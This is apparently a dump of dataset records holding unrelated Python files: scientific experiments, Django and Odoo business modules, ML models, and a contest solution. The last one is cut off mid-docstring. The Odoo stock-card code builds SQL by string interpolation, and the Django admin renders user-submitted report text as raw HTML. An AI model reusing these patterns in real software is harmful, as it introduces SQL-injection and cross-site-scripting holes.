forward_operator_tl\n\n\nda_exp['ntemp']=1 # Numero de temperados (1 recupera un ciclo de DA tradicional)\nda_exp['bridge']=0.0 # Coeficiente de combiancion entre ETPF y ETKF. 0-ETKF puro, 1-ETPF puro.\n\n\nfilename = './Sensitivity_to_bridging_R'+str(da_exp['R0'])+'_bst'+str(da_exp['bst'])+'_ntemp'+str(da_exp['ntemp'])+'_'+da_exp['obs_operator_name']+'.pkl'\n\n#Run experiments in parallel. \n\nos.environ['OMP_NUM_THREADS']=\"1\"\n\n#Create a list of configurations. We will then iterate over these configurations to run experiments in parallel.\n\nda_exp_list=list() #Here we will store all possible configurations that we want to run.\n\n\nfor ibridge in range( 0 , 11 ) :\n\n da_exp['bridge']= ibridge / 10.0\n \n da_exp_list.append( copy.deepcopy( da_exp ) ) #Add this configuration to the configuration list\n\n\npool = mp.Pool( min( max_proc , len( da_exp_list ) ) )\n\nresults = pool.map( thm.da_cycle_tempered_hybrid , da_exp_list )\n\npool.close()\n\nwith open( filename , 'wb') as handle:\n pickle.dump( results , handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Lorenz_63/TEMPERED_HYBRID_EXPERIMENTS/bridging_sensitivity.py","file_name":"bridging_sensitivity.py","file_ext":"py","file_size_in_byte":5029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"545709190","text":"from app.models.question import Question\nfrom rest_framework import serializers\nfrom rest_framework.reverse import reverse\n\n\nclass QuestionSerializer(serializers.ModelSerializer):\n first_option_result = serializers.ReadOnlyField()\n links = serializers.SerializerMethodField()\n\n class Meta:\n model = Question\n fields = ('id', 'description', 'first_option_result', 'links', )\n\n def get_links(self, obj):\n request = self.context['request']\n return {\n 'self': reverse('question-detail',\n kwargs={'pk': obj.pk},request=request),\n }","sub_path":"app/serializers/question_serializer.py","file_name":"question_serializer.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"110410741","text":"from odoo import fields, models, api, _\nfrom odoo.exceptions import UserError\n\n# SC_STATES = [('draft', 'Draft'), ('open', 'Open'), ('done', 'Done')]\n\n\nclass stock_card(models.Model):\n _name = \"fal.stock.card\"\n _inherit = ['mail.thread', 'mail.activity.mixin']\n _description = \"Stock Card\"\n\n name = fields.Char(\"Number\", default=\"/\")\n date_start = fields.Date(\"Date Start\", required=True, track_visibility='onchange', default=fields.Date.today())\n date_end = fields.Date(\"Date End\", required=True, track_visibility='onchange', default=fields.Date.today())\n location_id = fields.Many2one('stock.location', 'Location', track_visibility='onchange', required=True)\n product_id = fields.Many2one('product.product', 'Product', track_visibility='onchange', required=True)\n lot_id = fields.Many2one('stock.production.lot', 'Serial Number')\n expired_date = fields.Date(string=\"Expired Date\")\n line_ids = fields.One2many('fal.stock.card.line', 'stock_card_id', 'Details', ondelete=\"cascade\")\n state = fields.Selection([\n ('draft', 'Draft'), ('open', 'Open'),\n ('done', 'Done')], 'Status', readonly=True,\n required=True, default=\"draft\")\n user_id = fields.Many2one('res.users', 'Created', default=lambda self: self.env.user)\n\n @api.multi\n def unlink(self):\n for order in self:\n if order.state not in ('draft'):\n raise UserError(_('In order to delete a stock card, \\\n you must cancel it first.'))\n return super(stock_card, self).unlink()\n\n @api.multi\n def action_calculate(self):\n # empty stock_card_line\n # find stock move product_id and location_id, start_date to end_date\n # insert into stock_card_line\n # if out from location (source_id) then fill to qty_out\n # if exist on location (dest_id) then fill to qty_in\n # count qty_balance = qty_start + qty_in - qty_out\n # start balance counted from sum qty stock move before start_date\n\n stock_move = self.env['stock.move']\n stock_card_line = self.env['fal.stock.card.line']\n\n for sc in self:\n self.env.cr.execute(\n \"delete from fal_stock_card_line \\\n where stock_card_id=%s\" % sc.id\n )\n\n qty_start = 0.0\n qty_balance = 0.0\n qty_in = 0.0\n qty_out = 0.0\n product_uom = False\n\n sql2 = \"select move_id from \\\n stock_move_line where product_id = %s\" % (sc.product_id.id)\n self.env.cr.execute(sql2)\n res = self.env.cr.fetchall()\n move_ids = []\n if res and res[0] != 'None':\n for move in res:\n move_ids.append(move[0])\n else:\n raise UserError(_('No Data for this Product!'))\n\n # beginning balance in\n sql = \"select sum(product_uom_qty) from stock_move where product_id=%s \\\n and date < '%s' and location_dest_id=%s \\\n and id IN %s \\\n and state='done'\" % (\n sc.product_id.id, sc.date_start,\n sc.location_id.id,\n '(%s)' % ', '.join(map(repr, tuple(move_ids))),)\n\n self.env.cr.execute(sql)\n res = self.env.cr.fetchone()\n\n if res and res[0]:\n qty_start = res[0]\n\n # beginning balance out\n sql_prod_qty_out = \"select sum(product_uom_qty) from stock_move \\\n where product_id=%s and date < '%s' and \\\n location_id=%s and state='done'\" % (\n sc.product_id.id, sc.date_start, sc.location_id.id)\n\n self.env.cr.execute(sql_prod_qty_out)\n res_prod_qty_out = self.env.cr.fetchone()\n\n if res_prod_qty_out and res_prod_qty_out[0]:\n qty_start = qty_start - res_prod_qty_out[0]\n\n # product uom\n # import pdb;pdb.set_trace()\n prod = sc.product_id\n product_uom = prod.uom_id\n\n data = {\n \"stock_card_id\": sc.id,\n \"name\": 'Beginning Data',\n \"date\": False,\n \"qty_start\": qty_start,\n \"qty_in\": qty_in,\n \"qty_out\": qty_out,\n \"qty_balance\": qty_start,\n \"product_uom_id\": product_uom.id,\n }\n stock_card_line.create(data)\n\n # mutasi\n sm_ids = stock_move.search([\n '|',\n ('location_dest_id', '=', sc.location_id.id),\n ('location_id', '=', sc.location_id.id),\n ('product_id', '=', sc.product_id.id),\n ('date', '>=', sc.date_start),\n ('date', '<=', sc.date_end),\n ('state', '=', 'done'),\n ('id', 'in', move_ids)\n ], order='date asc')\n\n for sm in sm_ids:\n\n qty_in = 0.0\n qty_out = 0.0\n\n if product_uom.id != sm.product_uom.id:\n factor = product_uom.factor / sm.product_uom.factor\n else:\n factor = 1.0\n\n # incoming, dest = location\n if sm.location_dest_id == sc.location_id:\n qty_in = sm.product_uom_qty * factor\n # outgoing, source = location\n elif sm.location_id == sc.location_id:\n qty_out = sm.product_uom_qty * factor\n\n qty_balance = qty_start + qty_in - qty_out\n\n name = sm.name if sm.name != prod.display_name else \"\"\n partner_name = sm.partner_id.name if sm.partner_id else \"\"\n notes = sm.picking_id.note or \"\"\n po_no = sm.group_id.name if sm.group_id else \"\"\n origin = sm.origin or \"\"\n finish_product = \"\"\n\n if \"MO\" in origin:\n mrp = self.env['mrp.production']\n mo = mrp.search([(\"name\", \"=\", origin)])\n finish_product = \"%s\" % (\n mo[0].product_id.name,\n ) if mo else \"\"\n\n data = {\n \"stock_card_id\": sc.id,\n \"move_id\": sm.id,\n \"picking_id\": sm.picking_id.id,\n \"date\": sm.date,\n \"qty_start\": qty_start,\n \"qty_in\": qty_in,\n \"qty_out\": qty_out,\n \"qty_balance\": qty_balance,\n \"product_uom_id\": product_uom.id,\n \"name\": \"%s/ %s/ %s/ %s/ %s/ %s\" % (\n name, finish_product,\n partner_name, po_no, notes, origin),\n }\n stock_card_line.create(data)\n qty_start = qty_balance\n return\n\n def action_draft(self):\n # set to \"draft\" state\n return self.write(\n {'state': 'draft'}\n )\n\n def action_confirm(self):\n # set to \"confirmed\" state\n return self.write(\n {'state': 'open'}\n )\n\n def action_done(self):\n # set to \"done\" state\n return self.write(\n {'state': 'done'}\n )\n\n @api.model\n def create(self, vals):\n if vals.get('name', '/') == '/':\n seq_obj = self.env['ir.sequence']\n vals['name'] = seq_obj.next_by_code(\n 'fal.stock.card') or '/'\n new_id = super(stock_card, self).create(vals)\n return new_id\n\n\nclass stock_card_line(models.Model):\n _name = \"fal.stock.card.line\"\n _description = \"Stock Card Line\"\n\n name = fields.Char(\"Description\")\n stock_card_id = fields.Many2one('fal.stock.card', 'Stock Card')\n move_id = fields.Many2one('stock.move', 'Stock Move')\n picking_id = fields.Many2one('stock.picking', 'Picking')\n date = fields.Date(\"Date\")\n qty_start = fields.Float(\"Start\")\n qty_in = fields.Float(\"Qty In\")\n qty_out = fields.Float(\"Qty Out\")\n qty_balance = fields.Float(\"Balance\")\n product_uom_id = fields.Many2one('uom.uom', 'UoM')\n","sub_path":"fal_stock_card/models/stock_card.py","file_name":"stock_card.py","file_ext":"py","file_size_in_byte":8136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"370185763","text":"import torch\nfrom torch.nn import Linear, Sigmoid, Tanh\nfrom torch import sigmoid, tanh\nfrom artemis.general.should_be_builtins import bad_value\nfrom uoro_demo.torch_utils.interfaces import RecurrentStatelessModule\nfrom uoro_demo.torch_utils.training import get_rnn_class\n\n\nclass StatelessPredictorRNN(RecurrentStatelessModule):\n\n def __init__(self, n_in, n_hid, n_out, rnn_type='elman', output_rep='linear', freeze_rnn = False, bias=True):\n\n super(StatelessPredictorRNN, self).__init__()\n self.rnn = get_rnn_class(rnn_type)(n_in, n_hid)\n self.n_hid=n_hid\n self.n_out = n_out\n self.rnn_type = rnn_type\n self.output_layer = {\n 'linear': lambda: torch.nn.Linear(n_hid, n_out, bias = bias),\n }[output_rep]()\n self.freeze_rnn = freeze_rnn\n\n if freeze_rnn:\n it_happened = False\n for param_name, p in self.rnn.named_parameters():\n if param_name.startswith('weight_hh') or param_name.startswith('bias_hh'):\n p.requires_grad = False\n it_happened = True\n assert it_happened\n\n #\n # def parameters(self):\n # if self.freeze_rnn:\n # # Note this also disables the input-to-state parameters, but that's ok for now.\n # rnn_parameters = list(self.rnn.parameters())\n # return (p for p in super(StatelessPredictorRNN, self).parameters() if p not in rnn_parameters)\n # else:\n # return (p for p in super(StatelessPredictorRNN, self).parameters())\n\n def forward(self, x, prev_state):\n \"\"\"\n :param x: A (batch_size, n_dim) input\n :param prev_state: A representation of the previous hidden state: (\n :return: A (batch_size, n_out) output\n \"\"\"\n hidden_history, hidden_state = self.rnn(x[None], prev_state)\n prediction = self.output_layer(hidden_history[-1, :, :]) # (last_step, )\n return prediction, hidden_state\n\n # _, hidden_state = self.rnn(x[None], prev_state)\n # hidden_history, _ = self.rnn(x[None], prev_state)\n # prediction = self.output_layer(hidden_history[-1, :, :]) # (last_step, )\n # return prediction, hidden_state\n\n def get_initial_state(self, x_init):\n assert x_init.dim() == 2, 'x_init should have 2 dimensions: (batch_size, n_dims). Its shape is {}'.format(x_init.size())\n\n return torch.autograd.Variable(torch.zeros(1, len(x_init), self.n_hid), requires_grad=True) if self.rnn_type in ('elman', 'gru') else \\\n (torch.autograd.Variable(torch.zeros(1, len(x_init), self.n_hid), requires_grad=True), torch.autograd.Variable(torch.zeros(1, len(x_init), self.n_hid), requires_grad=True)) if self.rnn_type == 'lstm' else \\\n bad_value(self.rnn_type)\n\n\nclass GRUPredictor(RecurrentStatelessModule):\n\n def __init__(self, n_in, n_hid, n_out, bias = True):\n super(GRUPredictor, self).__init__()\n self.n_hid = n_hid\n self.f_xz = Linear(n_in, n_hid, bias=bias)\n self.f_xr = Linear(n_in, n_hid, bias=bias)\n self.f_xh = Linear(n_in, n_hid, bias=bias)\n self.f_hz = Linear(n_hid, n_hid, bias=False)\n self.f_hr = Linear(n_hid, n_hid, bias=False)\n self.f_hrh = Linear(n_hid, n_hid, bias=False)\n self.f_hy = Linear(n_hid, n_out, bias=bias)\n\n def forward(self, x, h_old):\n z = sigmoid(self.f_xz(x) + self.f_hz(h_old))\n r = sigmoid(self.f_xr(x) + self.f_hr(h_old))\n h = z * h_old + (1-z)* tanh(self.f_xh(x) + self.f_hrh(r*h_old))\n y = self.f_hy(h)\n return y, h\n\n def get_initial_state(self, x_init):\n return torch.autograd.Variable(torch.zeros(len(x_init), self.n_hid), requires_grad=True)","sub_path":"uoro_demo/predictor_funcs.py","file_name":"predictor_funcs.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"365408037","text":"\"\"\"\nIsha Slavin.\nWeek 3 - TASK #1.\n\"\"\"\n\nfrom base import BaseOptimizer\nfrom oracle import Oracle\nimport numpy as np\nimport pandas as pd\nimport math\nimport random\nfrom benchmarkfunctions import SparseQuadratic, MaxK\nfrom matplotlib import pyplot as plt\n\n# this class implements the Gradient-Less Descent with Binary Search Algorithm using a Comparison Oracle.\n# source: https://arxiv.org/pdf/1911.06317.pdf.\n\n\nclass GLDOptimizer(BaseOptimizer):\n \"\"\"\n INPUTS:\n 1. defined_func (type = FUNC) objective function; inputted into Oracle class for function evaluations.\n 2. x_0: (type = NUMPY ARRAY) starting point (of dimension = n).\n 3. R: (type = INT) maximum search radius (ex.: 10).\n 4. r: (type = INT) minimum search radius (ex.: 0.1).\n 5. function_budget: (type = INT) total number of function evaluations allowed.\n \"\"\"\n\n def __init__(self, defined_func, x_0, R, r, function_budget):\n super().__init__()\n\n self.function_evals = 0\n self.defined_func = defined_func\n self.x_0 = x_0\n self.R = R\n self.r = r\n self.function_budget = function_budget\n self.f_vals = []\n self.list_of_xt = []\n\n K = math.log(self.R / self.r, 10)\n self.K = K\n\n def step(self):\n # x_t.\n if self.function_evals == 0:\n ### DM: Rewrote in a slightly more efficient way\n x_t = self.x_0\n # x_k = np.random.rand(1, n)\n # x_k = x_k[0]\n # print('xk:')\n # print(x_k)\n self.list_of_xt.append(x_t)\n else:\n x_t = self.list_of_xt[-1]\n # list of x_t's for this one step.\n v_list = [x_t]\n # n: dimension of x_t.\n n = len(x_t)\n # sampling distribution (randomly generated at each step).\n D = np.random.randn(n) / n\n # iterate through k's in K (which equals log(R/r)).\n for k in range(int(self.K)):\n # calculate r_k.\n r_k = 2 ** -k\n r_k = r_k * self.R\n # print('r_k: ', r_k)\n r_k_D = np.dot(r_k, D)\n # sample v_k from r_k_D.\n random_dir = random.randint(0, n - 1)\n v_k = r_k_D[random_dir]\n # print('vk: ', v_k)\n next_el = x_t + v_k\n # add each x_t + v_k to a list for all k in K.\n v_list.append(next_el)\n # length will never be 0 (I think), this is just to make sure.\n if len(v_list) == 0:\n # list_of_xt.append(x_t)\n # f_vals.append(defined_func(x_t))\n # continue\n \"\"\" fix this to return the proper output. \"\"\"\n return 0\n # now that we have our list of vk's, let's use the comparison oracle to determine the argmin of the elements.\n # while there are at least two elements to input into the comparison Oracle.\n while len(v_list) >= 2:\n new_instance_1 = Oracle(self.defined_func)\n # print('0:', v_list[0])\n # print('1:', v_list[1])\n # input the first two elements of the list into the oracle.\n first_comparison = new_instance_1(v_list[0], v_list[1])\n # INCREMENT function_evals by 1.\n self.function_evals += 1\n # possibilities of Oracle output:\n if first_comparison == +1:\n # 0th elem is smaller.\n # remove 1st element.\n v_list.pop(1)\n elif first_comparison == -1:\n # 1st elem is smaller.\n # remove 0th element.\n v_list.pop(0)\n else:\n # function values are equal with elements 0 and 1 of list.\n # choose one at random to drop.\n rand_choice = random.choice([0, 1])\n v_list.pop(rand_choice)\n list_length = len(v_list)\n # the list is length 1 after all comparisons have been made (or if input R = input r).\n if list_length == 1:\n # print(t)\n # remaining element is our ARGMIN.\n argmin = v_list[0]\n x_t = argmin\n self.list_of_xt.append(x_t)\n self.f_vals.append(self.defined_func(x_t))\n # now, let's check if the function budget is depleted.\n if self.reachedFunctionBudget(self.function_budget, self.function_evals):\n # if budget is reached return parent.\n # solution, list of all function values, termination.\n while len(self.f_vals) > (self.function_budget/2):\n self.f_vals.pop()\n return x_t, self.f_vals, 'B'\n # return solution, list of all function values, termination (which will be False here).\n return x_t, self.f_vals, False\n\n\n'''\n # in the STEP function, use what Daniel did.\n # when function evals is still 0, take xk from self.x_0.\n # if not, do what you usually do to generate the xt and then append it to the list of xt's.\n'''\n\n# ---------\nprint('sample invoke.')\n# GLD - FUNCTION sample invocation.\nn_def = 20000 # problem dimension.\ns_exact = 200 # True sparsity.\nnoise_amp = 0.001 # noise amplitude.\n# initialize objective function.\nobj_func_1 = SparseQuadratic(n_def, s_exact, noise_amp)\nobj_func_2 = MaxK(n_def, s_exact, noise_amp)\nmax_function_evals = 10000\nx_0_ = np.random.rand(n_def)\nprint('shape of x_0_: ', len(x_0_))\nR_ = 10\nr_ = .01\n# GLDOptimizer instance.\n# def __init__(self, defined_func, x_0, R, r, function_budget).\nstp1 = GLDOptimizer(obj_func_1, x_0_, R_, r_, max_function_evals)\n# stp1 = GLDOptimizer(obj_func_2, x_0_, R_, r_, max_function_evals)\n# step.\ntermination = False\nprev_evals = 0\nwhile termination is False:\n # optimization step.\n solution, func_value, termination = stp1.step()\n # print('step')\n print('current value: ', func_value[-1])\n# print the solution.\nprint('\\n')\nprint('solution: ', solution)\n# plot the decreasing function.\nplt.plot(func_value)\n#plt.show()\n# log x-axis.\nplt.semilogy(func_value)\n#plt.show()\n# ---------\nprint('\\n')\nprint('number of function vals: ', len(func_value))\n","sub_path":"ExampleCode/gld_optimizer.py","file_name":"gld_optimizer.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"476242111","text":"from rake_nltk import Rake\n\nfrom difflib import SequenceMatcher\n\nimport nltk\n\n#from nltk.stem import PorterStemmer\n\n#from nltk.stem import LancasterStemmer\n\nfrom nltk.stem import WordNetLemmatizer \n \nfrom nltk.corpus import wordnet\n\nimport gensim\n\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\nimport array \n\n\"\"\"porter = PorterStemmer()\n\nlancaster=LancasterStemmer()\n\n#defining stemming for sentence\n\ndef stemSentence(sentence):\n token_words=word_tokenize(sentence)\n token_words\n stem_sentence=[]\n for word in token_words:\n stem_sentence.append(porter.stem(word))\n stem_sentence.append(\" \")\n return \"\".join(stem_sentence)\n\"\"\"\n\n\n#x=stemSentence(sentence)\n\nlemmatizer = WordNetLemmatizer()\n\n# function to convert nltk tag to wordnet tag\n\n#for lemmatization\ndef nltk_tag_to_wordnet_tag(nltk_tag):\n if nltk_tag.startswith('J'):\n return wordnet.ADJ\n elif nltk_tag.startswith('V'):\n return wordnet.VERB\n elif nltk_tag.startswith('N'):\n return wordnet.NOUN\n elif nltk_tag.startswith('R'):\n return wordnet.ADV\n else: \n return None\n\ndef lemmatize_sentence(sentence):\n #tokenize the sentence and find the POS tag for each token\n nltk_tagged = nltk.pos_tag(nltk.word_tokenize(sentence)) \n #tuple of (token, wordnet_tag)\n wordnet_tagged = map(lambda x: (x[0], nltk_tag_to_wordnet_tag(x[1])), nltk_tagged)\n lemmatized_sentence = []\n for word, tag in wordnet_tagged:\n if tag is None:\n #if there is no available tag, append the token as is\n lemmatized_sentence.append(word)\n else: \n #else use the tag to lemmatize the token\n lemmatized_sentence.append(lemmatizer.lemmatize(word, tag))\n return \" \".join(lemmatized_sentence)\n \n#defining similar\n\ndef similar(a, b):\n return SequenceMatcher(None, a, b).ratio()\n\na = Rake(min_length=1, max_length=4)\nr = Rake(min_length=1, max_length=4)\ns = Rake(min_length=1, max_length=4)\nt = Rake(min_length=1, max_length=4)\nu = Rake(min_length=1, max_length=4)\nv = Rake(min_length=1, max_length=4)\n# Extraction given the text.\nstr = open('answer.txt', 'r').read()\n\nstr1 = open('key1.txt','r').read()\nstr2 = open('key2.txt','r').read()\nstr3 = open('key3.txt','r').read()\nstr4 = open('key4.txt','r').read()\nmanual = [\n 'rapid automatic keyword extraction', 'concrete application depend', 'widely use nlp technique', 'automatically extract keywords', 'compact representation', 'keywords', 'write', 'word', 'well', 'together', 'sequence', 'rake', 'purpose', 'provide', 'one', 'lot', 'language', 'known', 'domain', 'document', 'content', 'algorithm'\n ]\nstr5='.'.join(manual)\n\nans=lemmatize_sentence(str)\n\ns1=lemmatize_sentence(str1)\ns2=lemmatize_sentence(str2)\ns3=lemmatize_sentence(str3)\ns4=lemmatize_sentence(str4)\ns5=lemmatize_sentence(str5)\n\n#a=stemSentence(s1)\n#b=stemSentence(s2)\na.extract_keywords_from_text(ans)\nr.extract_keywords_from_text(s1)\ns.extract_keywords_from_text(s2)\nt.extract_keywords_from_text(s3)\nu.extract_keywords_from_text(s4)\nv.extract_keywords_from_text(s5)\n\n# Extraction given the list of strings where each string is a sentence.\n#r.extract_keywords_from_sentences(\"list of sentences\")\n\n# To get keyword phrases ranked highest to lowest.\na1=a.get_ranked_phrases()\nr1=r.get_ranked_phrases()\nr2=s.get_ranked_phrases()\nr3=t.get_ranked_phrases()\nr4=u.get_ranked_phrases()\nr5=v.get_ranked_phrases()\n#print(r.extract_keywords_from_sentences(s3))\n\n#print(s.extract_keywords_from_sentences(s4))\n# To get keyword phrases ranked highest to lowest with scores.\n#print(similar(r.get_ranked_phrases_with_scores(),s.get_ranked_phrases_with_scores()))\n\n\n\n\n\n#c=stemSentence(s5)\n#print(answer_list)\n#print(phrase_list)\na1.sort()\nr1.sort()\nr2.sort()\nr3.sort()\nr4.sort()\nr5.sort()\n\narr = array.array('d', [0,0,0,0,0])\narr[0]=similar(a1,r1)\narr[1]=similar(a1,r2)\narr[2]=similar(a1,r3)\narr[3]=similar(a1,r4)\narr[4]=similar(a1,r5)\n\nprint(arr)\nprint(\"keywords from key1 \\n\")\nprint(r1,'\\n')\nprint(\"keywords from key2 \\n\")\nprint(r2,'\\n')\nprint(\"keywords from key3 \\n\")\nprint(r3,'\\n')\nprint(\"keywords from key4 \\n\")\nprint(r4,'\\n')\nprint(\"keywords from key5 \\n\")\nprint(r5,'\\n')\nprint(max(arr))\n#print(r.get_word_degrees(),'\\n')\n\n#print(r.get_ranked_phrases_with_scores())\n#print(s.get_ranked_phrases_with_scores())\n\n\n#print(s.get_word_degrees(),'\\n')\n#print(r._build_word_co_occurance_graph(str))\n","sub_path":"rake-nltk-master/tests/rake_t.py","file_name":"rake_t.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"276858315","text":"from copy import deepcopy\ns=input()+\"T\"\nx,y=[int(i) for i in input().split()]\n\n\ndx=[]\ndy=[]\n\ndir_is_X=True\nstep=0\nfor char in s:\n\tif char=='F':\n\t\tstep+=1\n\telse:\n\t\tif dir_is_X:\n\t\t\tdx.append(step)\n\t\t\tdir_is_X=False\n\t\t\tstep=0\n\t\telse:\n\t\t\tdy.append(step)\n\t\t\tstep=0\n\t\t\tdir_is_X=True\n#print(dx)\n#print(dy)\nnowX=set([0])\n#print(type(nowX))\nnextX=set([])\nnowY=set([0])\nnextY=set([])\n\nfor num in dx:\n\t#print(type(nextX))\n\tfor now in nowX:\n\t\tnextX.add(now+num)\n\t\tnextX.add(now-num)\n\tnowX=deepcopy(nextX)\n\tnextX=set([])\nfor num in dy:\n\tfor now in nowY:\n\t\tnextY.add(now+num)\n\t\tnextY.add(now-num)\n\tnowY=deepcopy(nextY)\n\tnextY=set([])\nif (x in nowX) and (y in nowY):\n\tprint(\"Yes\")\nelse:\n\tprint(\"No\")\n\n\n\n#10^7なら行けるっしょ\n\"\"\"\ndpX[0][bpos]=True\ndpY[0][bpos]=True\n\nfor i in range(len(dx)):\n\tfor j in range(bpos*2+1):\n\t\tif dpX[i][j]:\n\t\t\tdpX[i+1][j-dx[i]]=True\n\t\t\tdpX[i+1][j+dx[i]]=True\nfor i in range(len(dy)):\n\tfor j in range(bpos*2+1):\n\t\tif dpY[i][j]:\n\t\t\tdpY[i+1][j-dy[i]]=True\n\t\t\tdpY[i+1][j+dy[i]]=True\n#print()\n#for nums in dpX:\n#\tprint(nums)\n#rint()\n#for nums in dpY:\n#\tprint(nums)\nif dpX[len(dx)][bpos+x] and dpY[len(dy)][bpos+y]:\n\tprint(\"Yes\")\nelse:\n\tprint(\"No\")\n\"\"\"\n\n\n","sub_path":"atcoder/arc/080/ARC087D.py","file_name":"ARC087D.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"94840523","text":"# vim: ai ts=4 sts=4 et sw=4\n# encoding=utf-8\nimport locale\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom igreport import util, media\nfrom django.core.exceptions import PermissionDenied\nfrom igreport.models import Report\n\nclass ReportAdmin(admin.ModelAdmin):\n\n list_display = ['sender', 'message', 'accused', 'amount_formatted', 'report_time', 'options']\n list_filter = ['datetime']\n ordering = ['-datetime']\n date_hierarchy = 'datetime'\n search_fields = ['connection__identity', 'reference_number']\n actions = None\n Media = media.JQueryUIMedia\n change_list_template = 'igreport/change_list.html'\n change_list_results_template = 'igreport/change_list_results.html'\n list_per_page = 50\n\n def __init__(self, *args, **kwargs):\n super(ReportAdmin, self).__init__(*args, **kwargs)\n self.list_display_links = (None,)\n\n def report_time(self, obj):\n return obj.datetime.strftime('%d/%m/%Y %H:%M')\n\n report_time.short_description = 'Report Date'\n report_time.admin_order_field = 'datetime'\n\n def message(self, obj):\n text = obj.report\n width = ''\n if text and len(text) > 40:\n width = '280px'\n\n style = 'font-size:13px;'\n if width:\n style += 'width:%s;' % width\n if style:\n style = ' style=\"%s\"' % style\n html = '%s
' % (obj.id, style, text)\n return html\n\n message.short_description = 'Report'\n message.allow_tags = True\n\n def accused(self, obj):\n text = obj.subject\n width = ''\n if text and len(text) > 40:\n width = '200px'\n\n style = 'font-size:13px;'\n if width:\n style += 'width:%s;' % width\n if style:\n style = ' style=\"%s\"' % style\n if not text:\n text = '(none)'\n html = '%s
' % (style, text)\n return html\n\n accused.short_description = 'Accused'\n accused.allow_tags=True\n\n def sender(self, obj):\n msisdn = obj.connection.identity\n t = (msisdn, msisdn, msisdn)\n html = '%s' % t\n return html\n \n sender.short_description = 'Sender'\n sender.admin_order_field = 'connection'\n sender.allow_tags = True\n\n def amount_formatted(self, obj):\n if obj.amount:\n amount = int(obj.amount)\n locale.setlocale(locale.LC_ALL, '')\n amount = locale.format(\"%d\", amount, grouping=True)\n currency = ''\n if obj.currency:\n currency = obj.currency.code\n amount = '%s' % amount\n if currency:\n amount = '%s%s' % (currency, amount)\n return amount\n return 'NA'\n \n amount_formatted.short_description = 'Amount'\n amount_formatted.admin_order_field = 'amount'\n amount_formatted.allow_tags=True\n\n def options(self, obj):\n\n html = 'Details | Accept' % (obj.id, obj.id)\n\n return html\n\n options.short_description = 'Options'\n options.allow_tags = True\n \n def has_add_permission(self, request):\n return False\n\n def has_delete_permission(self, request, obj=None):\n return False\n\n def change_view(self, request, object_id, extra_context=None):\n raise PermissionDenied\n \n def changelist_view(self, request, extra_context=None):\n title = 'Pending Reports'\n \n ids = [ '{id:%s,completed:%s,synced:%s,closed:%s}' % \\\n (obj.id, 'true' if obj.completed else 'false', \\\n 'true' if obj.synced else 'false', 'true' if obj.closed else 'false') \\\n for obj in self.queryset(self) ]\n js = '[%s]' % ','.join(ids)\n bottom_js = '\\nvar reports=%s;\\nrptsetc();\\n' % js\n \n #bottom_js=''\n buttons = [ dict(label='Refresh', link=''), ]\n context = dict(title=title, include_file='igreport/report.html', bottom_js=bottom_js, buttons=buttons)\n return super(ReportAdmin, self).changelist_view(request, extra_context=context)","sub_path":"igreport_project/igreport_src/igreport/report_admin.py","file_name":"report_admin.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"35"}
+{"seq_id":"527758787","text":"\"\"\"Django.db.model-esque API for defining structs.\"\"\"\nimport math, collections\nfrom CodeModule.exc import CorruptedData, InvalidSchema, PEBKAC #these are just empty Exception subclasses\n\nclass CField(object):\n def __init__(self, name = None, container = None, *args, **kwargs):\n if name is not None:\n self.__fieldname = name\n \n self.__container = container\n super(CField, self).__init__(*args, **kwargs)\n\n def extSuper(self, exobject):\n \"\"\"Helper function: Get super of an object we don't know the class of.\n\n Not to be used to call a function of the same name as yourself.\"\"\"\n if \"__bases__\" in exobject.__dict__.keys():\n #this is a class\n return super(exobject, exobject)\n else:\n return super(exobject.__class__, exobject)\n \n def find_argument_field(self, argfieldname):\n \"\"\"Given a dynamic argument name, return the field instance.\n\n This function is the basis of the *_dynamic_argument functions. It\n returns a CField object directly.\"\"\"\n argcontainer = self.__container\n\n while argcontainer != None:\n try:\n return argcontainer.__getfield(argfieldname)\n except:\n argcontainer = argcontainer.__container\n\n #Only raised if the argument field requested does not exist\n raise AttributeError\n\n def alter_dynamic_argument(self, argfieldname, callback):\n arg = self.find_argument_field(argfieldname)\n newarg = callback(arg.core)\n arg.core = newarg\n\n def get_dynamic_argument(self, argfieldname):\n v = self.find_argument_field(argfieldname).core\n return v\n\n def set_dynamic_argument(self, argfieldname, newval):\n self.alter_dynamic_argument(argfieldname, lambda x: newval)\n\n def reparent(self, name = None, container = None):\n #Not sure if this is still needed; since I've eliminated almost all code\n #which moves CFields around between structures/lists.\n if self.__container is not None and container is not None:\n #you must first remove the current container before adding a new one\n #this prevents you from putting the same data in two places\n raise RuntimeError\n\n if name is None:\n del self.__fieldname\n else:\n self.__fieldname = name\n\n self.__container = container\n \n def save(self, fileobj):\n \"\"\"Default implementation of file encoding/saving.\n \n Most CField subclasses can just define the bytes property, and we'll\n just save it automatically.\"\"\"\n fileobj.write(self.bytes)\n \n def load(self, fileobj):\n \"\"\"Default implementation of file parsing/loading.\n \n CField subclasses that can define bytelength before having been loaded,\n i.e. everything that is not a null-terminated string, and have a bytes\n property, can just use this implementation.\n \n If you cannot guarantee the length of a field, make bytelength raise an\n exception when called before loading, and override this load method.\"\"\"\n obytes = fileobj.read(self.bytelength)\n self.bytes = obytes\n \n def parsebytes(self, obytes):\n \"\"\"Default implementation of byte string parsing.\n \n Like CField.load, fields that don't know their size until after they\n have been parsed should override parsebytes with a proper parser for\n that field type.\n \n CField.parsebytes is equivalent to 